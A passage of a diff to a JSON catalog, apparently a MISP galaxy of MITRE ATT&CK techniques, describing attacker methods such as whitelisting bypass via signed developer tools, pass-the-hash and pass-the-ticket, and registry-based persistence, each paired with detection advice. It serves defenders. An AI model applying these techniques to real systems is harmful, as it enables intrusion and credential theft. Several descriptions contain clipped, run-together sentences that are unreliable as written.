security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.\n\nDetection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring, File monitoring, Services, Windows Registry, Process command-line parameters, Anti-virus", + "meta": { + "mitre_data_sources": [ + "API monitoring", + "File monitoring", + "Services", + "Windows Registry", + "Process command-line parameters", + "Anti-virus" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1089" + ], + "uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + "value": "Disabling Security Tools" + }, + { + "description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.Net on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz.Scheduled Task[[Citation: RSA EU12 They're Inside]], or to discover locality information based on time zone to assist in victim targeting.\n\nDetection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters, API monitoring", + "meta": { + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "API monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1124", + "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings", + "https://msdn.microsoft.com/ms724961.aspx", + "https://www.rsaconference.com/writable/presentations/file%20upload/ht-209%20rivner%20schwartz.pdf" + ], + "uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + "value": "System Time Discovery" + }, + { + "description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n===MSBuild===\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations.[[Citation: MSDN MSBuild]] \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file.[[Citation: MSDN MSBuild Inline Tasks]] MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution.[[Citation: SubTee GitHub All The Things Application Whitelisting Bypass]]\n\n===DNX===\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016.[[Citation: Microsoft Migrating from DNX]] DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX.[[Citation: engima0x3 DNX Bypass]]\n\n===RCSI===\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution.[[Citation: Microsoft Roslyn CPT RCSI]] The rcsi.exe binary is signed by Microsoft.[[Citation: engima0x3 RCSI Bypass]]\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe.[[Citation: engima0x3 RCSI Bypass]]\n\n===WinDbg/CDB===\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools.[[Citation: Microsoft Debugging Tools for Windows]] They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities.[[Citation: Exploit Monday WinDbg]]\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\nDetection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring\n\nContributors: Casey Smith", + "meta": { + "mitre_data_sources": [ + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1127", + "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", + "https://msdn.microsoft.com/library/dd722601.aspx", + "https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/", + "https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index", + "https://github.com/subTee/AllTheThings", + "https://msdn.microsoft.com/library/dd393574.aspx", + "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", + "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", + "https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx" + ], + "uuid": "ff25900d-76d5-449b-a351-8824e62fc81b" + }, + "value": "Trusted Developer Utilities" + }, + { + "description": "Windows service configuration information, including the file path to the service's executable, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nDetection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.cmd commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1031", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ], + "uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" + }, + "value": "Modify Existing Service" + }, + { + "description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services.\n\nAdversaries may use remote services to access and persist within a network.Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.\n\nDetection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs\n\nContributors: Daniel Oakley", + "meta": { + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1133", + "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" + ], + "uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d" + }, + "value": "External Remote Services" + }, + { + "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Exploiting software vulnerabilities may allow adversaries to run a command or binary on a remote system for lateral movement, escalate a current process to a higher privilege level, or bypass security mechanisms. Exploits may also allow an adversary access to privileged accounts and credentials. One example of this is MS14-068, which can be used to forge Kerberos tickets using domain user permissions.[[Citation: Technet MS14-068]][[Citation: ADSecurity Detecting Forged Tickets]]\n\nDetection: Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Software and operating system crash reports may contain useful contextual information about attempted exploits that correlate with other malicious activity. Exploited processes may exhibit behavior that is unusual for the specific process, such as spawning additional processes or reading and writing to files.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Windows Error Reporting, File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nContributors: John Lambert, Microsoft Threat Intelligence Center", + "meta": { + "mitre_data_sources": [ + "Windows Error Reporting", + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1068", + "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx", + "https://adsecurity.org/?p=1515" + ], + "uuid": "b21c3b2d-02e6-45b1-980b-e69051040839" + }, + "value": "Exploitation of Vulnerability" + }, + { + "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed[[Citation: Mac Backdoors are back]]. \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\n\nDetection: It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring", "meta": { "mitre_data_sources": [ "File monitoring", "Process Monitoring" ], "mitre_platforms": [ + "Linux", "MacOS", "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1165", - "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", + "https://attack.mitre.org/wiki/Technique/T1151", + "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/" + ], + "uuid": "2258e6a4-3281-4244-947b-4323a01a30a7" + }, + "value": "Space after Filename" + }, + { + "description": "Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.\n\nDetection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of [[Legitimate Credentials]] to access remote systems within the network.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Binary file metadata" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1061" + ], + "uuid": "a6525aec-acc4-47fe-92f9-b9b4de4b9228" + }, + "value": "Graphical User Interface" + }, + { + "description": "Pass the hash (PtH)[[Citation: Aorato PTH]] is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a [[Credential Access]] technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes.[[Citation: NSA Spotting]]\n\nDetection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs", + "meta": { + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1075", + "http://www.nsa.gov/ia/%20files/app/spotting%20the%20adversary%20with%20windows%20event%20log%20monitoring.pdf", + "http://www.aorato.com/labs/pass-the-hash/" + ], + "uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff" + }, + "value": "Pass the Hash" + }, + { + "description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB)[[Citation: Wikipedia SMB]] and Remote Procedure Call Service (RPCS)[[Citation: TechNet RPC]] for remote access. RPCS operates over port 135.[[Citation: MSDN WMI]]\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for [[Discovery]] and remote [[Execution]] of files as part of [[Lateral Movement]].[[Citation: FireEye WMI 2015]]\n\nDetection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior.[[Citation: FireEye WMI 2015]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "Authentication logs", + "Netflow/Enclave netflow", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1047", + "https://msdn.microsoft.com/en-us/library/aa394582.aspx", + "https://en.wikipedia.org/wiki/Server%20Message%20Block", + "https://technet.microsoft.com/en-us/library/cc787851.aspx", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + ], + "uuid": "01a5a209-b94c-450b-b7f9-946497d91055" + }, + "value": "Windows Management Instrumentation" + }, + { + "description": "A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.[[Citation: AddMonitor]] This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot.[[Citation: Bloxham]] Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors.[[Citation: Bloxham]] The spoolsv.exe process also runs under SYSTEM level permissions.\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\n\nDetection: * Monitor process API calls to AddMonitor.\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism[[Citation: TechNet Autoruns]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring\n\nEffective Permissions: SYSTEM\n\nContributors: Stefan Kanthak", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "API monitoring", + "DLL monitoring", + "Windows Registry", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1013", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "http://msdn.microsoft.com/en-us/library/dd183341", + "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf" + ], + "uuid": "1f47e2fd-fa77-4f2f-88ee-e85df308f125" + }, + "value": "Local Port Monitor" + }, + { + "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).[[Citation: Microsoft WinRM]] It may be called with the winrm command or by any number of programs such as PowerShell.[[Citation: Jacobsen 2014]]\n\nDetection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Authentication logs", + "Netflow/Enclave netflow", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1028", + "http://msdn.microsoft.com/en-us/library/aa384426", + "http://www.slideee.com/slide/lateral-movement-with-powershell" + ], + "uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39" + }, + "value": "Windows Remote Management" + }, + { + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as [[Lateral Movement]], based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process use of network, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "Netflow/Enclave netflow", + "Network protocol analysis", + "Packet capture", + "Process use of network", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1046" + ], + "uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + "value": "Network Service Scanning" + }, + { + "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n[[Citation: Graeber 2014]]\n\nDetection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8.[[Citation: Graeber 2014]][[Citation: Microsoft Configure LSA]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs", + "meta": { + "mitre_data_sources": [ + "DLL monitoring", + "Windows Registry", + "Loaded DLLs" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1101", + "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", + "https://technet.microsoft.com/en-us/library/dn408187.aspx" + ], + "uuid": "6c174520-beea-43d9-aac6-28fb77f3e446" + }, + "value": "Security Support Provider" + }, + { + "description": "Pass the ticket (PtT)Valid Accounts are captured by Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.[[Citation: ADSecurity AD Kerberos Attacks]][[Citation: GentilKiwi Pass the Ticket]]\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).[[Citation: ADSecurity AD Kerberos Attacks]]\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.[[Citation: Campbell 2014]]\n\nDetection: Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.[[Citation: CERT-EU Golden Ticket Protection]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs\n\nContributors: Ryan Becwar", + "meta": { + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1097", + "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf", + "http://www.aorato.com/labs/pass-the-ticket/", + "https://adsecurity.org/?p=556", + "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos" + ], + "uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c" + }, + "value": "Pass the Ticket" + }, + { + "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring", + "meta": { + "mitre_data_sources": [ + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1065", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + "value": "Uncommonly Used Port" + }, + { + "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different 